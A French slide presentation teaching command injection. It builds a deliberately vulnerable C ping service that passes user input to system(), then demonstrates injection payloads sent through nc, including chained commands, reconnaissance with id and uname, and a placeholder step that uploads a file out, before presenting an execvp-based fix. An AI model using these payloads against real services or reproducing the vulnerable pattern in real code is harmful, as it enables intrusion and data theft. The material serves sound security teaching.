La command injection consiste en l'exécution de commandes shell arbitraires dans un service qui n'est pas destiné à fournir un shell.
(Par exemple, obtenir un shell à partir d'une application censée fournir l'état des utilisateurs)
Ce genre de faille apparaît quand le programme appelé invoque un shell avec des paramètres passés par l'utilisateur.
Voyons un exemple.
Vous êtes sysadmin.
(Un mauvais)
But = consulter l'état du parc à distance
Interface Web = gros donc vulnérable
On va faire simple.
Le bon vieux shell !
ping 192.168.42.69
Sur une machine avec deux interfaces réseau (1 publique + 1 privée)
On va pas exposer un shell entier au Web
Ça serait stupide, non ?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char * lineptr = NULL;
size_t size = 0;
ssize_t readLen = getline(&lineptr, &size, stdin);
if (readLen == -1) {
perror("getline");
exit(1);
}
char buf[size + strlen("ping ") + 1];
sprintf(buf, "ping -c 4 %s", lineptr);
system(buf);
free(lineptr);
return 0;
}
Serveur sur port 54321
echo "localhost" | nc <ip> 54321
PING localhost(localhost (::1)) 56 data bytes
64 bytes from localhost (::1): icmp_seq=1 ttl=64 time=0.015 ms
64 bytes from localhost (::1): icmp_seq=2 ttl=64 time=0.052 ms
64 bytes from localhost (::1): icmp_seq=3 ttl=64 time=0.042 ms
64 bytes from localhost (::1): icmp_seq=4 ttl=64 time=0.031 ms
--- localhost ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3040ms
rtt min/avg/max/mdev = 0.015/0.035/0.052/0.013 ms
Carrément avec des options !
echo "-c 2 localhost" | nc <ip> 54321
PING localhost(localhost (::1)) 56 data bytes
64 bytes from localhost (::1): icmp_seq=1 ttl=64 time=0.015 ms
64 bytes from localhost (::1): icmp_seq=2 ttl=64 time=0.036 ms
--- localhost ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1014ms
rtt min/avg/max/mdev = 0.015/0.025/0.036/0.010 ms
🥳
...Qu'est-ce qu'on peut mettre dans ces options ?
echo "-c \$(nproc) localhost" | nc <ip> 54321
PING localhost(localhost (::1)) 56 data bytes
64 bytes from localhost (::1): icmp_seq=1 ttl=64 time=0.028 ms
64 bytes from localhost (::1): icmp_seq=2 ttl=64 time=0.043 ms
64 bytes from localhost (::1): icmp_seq=3 ttl=64 time=0.052 ms
64 bytes from localhost (::1): icmp_seq=4 ttl=64 time=0.021 ms
64 bytes from localhost (::1): icmp_seq=5 ttl=64 time=0.044 ms
64 bytes from localhost (::1): icmp_seq=6 ttl=64 time=0.016 ms
64 bytes from localhost (::1): icmp_seq=7 ttl=64 time=0.021 ms
64 bytes from localhost (::1): icmp_seq=8 ttl=64 time=0.016 ms
--- localhost ping statistics ---
8 packets transmitted, 8 received, 0% packet loss, time 7100ms
rtt min/avg/max/mdev = 0.016/0.030/0.052/0.013 ms
OwO what's this ?
echo "localhost; echo Hax0red" | nc <ip> 54321
PING localhost(localhost (::1)) 56 data bytes
64 bytes from localhost (::1): icmp_seq=1 ttl=64 time=0.013 ms
64 bytes from localhost (::1): icmp_seq=2 ttl=64 time=0.051 ms
64 bytes from localhost (::1): icmp_seq=3 ttl=64 time=0.027 ms
64 bytes from localhost (::1): icmp_seq=4 ttl=64 time=0.017 ms
--- localhost ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3048ms
rtt min/avg/max/mdev = 0.013/0.027/0.051/0.014 ms
Hax0red
echo "localhost >/dev/null; echo Hax0red" | nc <ip> 54321
<délai...>
Hax0red
echo "localhost >/dev/null & echo Hax0red" | nc <ip> 54321
Hax0red
On a donc exposé un shell au Web.
C'est stupide, non ? 😈
echo "localhost >/dev/null & id" | nc <ip> 54321
uid=1000(issotm) gid=1000(issotm) groups=1000(issotm),56(bumblebee)
Voire carrément...
uid=0(root) gid=0(root) groups=0(root)
(On avait prévenu : mauvais sysadmin)
Parfait pour la reconnaissance...
echo "localhost >/dev/null & id && uname -a && pwd" | nc <ip> 54321
uid=1000(issotm) gid=1000(issotm) groups=1000(issotm),56(bumblebee)
Linux sheik-kitty 5.4.8-arch1-1 #1 SMP PREEMPT Sat, 04 Jan 2020 23:46:18 +0000 x86_64 GNU/Linux
/home/issotm/command_injection
...l'attaque...
echo "localhost >/dev/null & <upload d'un fichier sur un site public comme Firefox Send>" | nc <ip> 54321
(Et pour peu qu'un petit service pareil ne soit pas logué, ... la discrétion)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char * lineptr = NULL;
size_t size = 0;
ssize_t readLen = getline(&lineptr, &size, stdin);
if (readLen == -1) {
perror("getline");
exit(1);
}
char buf[size + strlen("ping ") + 1];
sprintf(buf, "ping -c 4 %s", lineptr);
system(buf); // Invoque un shell !!
free(lineptr);
return 0;
}
Solution : utiliser exec
#include <sys/types.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main() {
char * lineptr = NULL;
size_t size = 0;
ssize_t readLen = getline(&lineptr, &size, stdin);
if (readLen == -1) {
perror("getline");
exit(1);
}
// How many bytes without the optional final newline
size_t len = strcspn(lineptr, "\n");
char buf[len + 1];
memcpy(buf, lineptr, len);
buf[len] = '\0';
free(lineptr);
char * const args[] = {
"ping",
"-c",
"4",
buf,
NULL
};
pid_t pid = fork();
if (pid == -1) {
perror("fork");
} else if (pid == 0) {
execvp("ping", args);
} else {
waitpid(pid, NULL, 0);
}
}
Solutions possibles :
exec()
au lieu de system()
root
à l'InternetAvez-vous des questions ?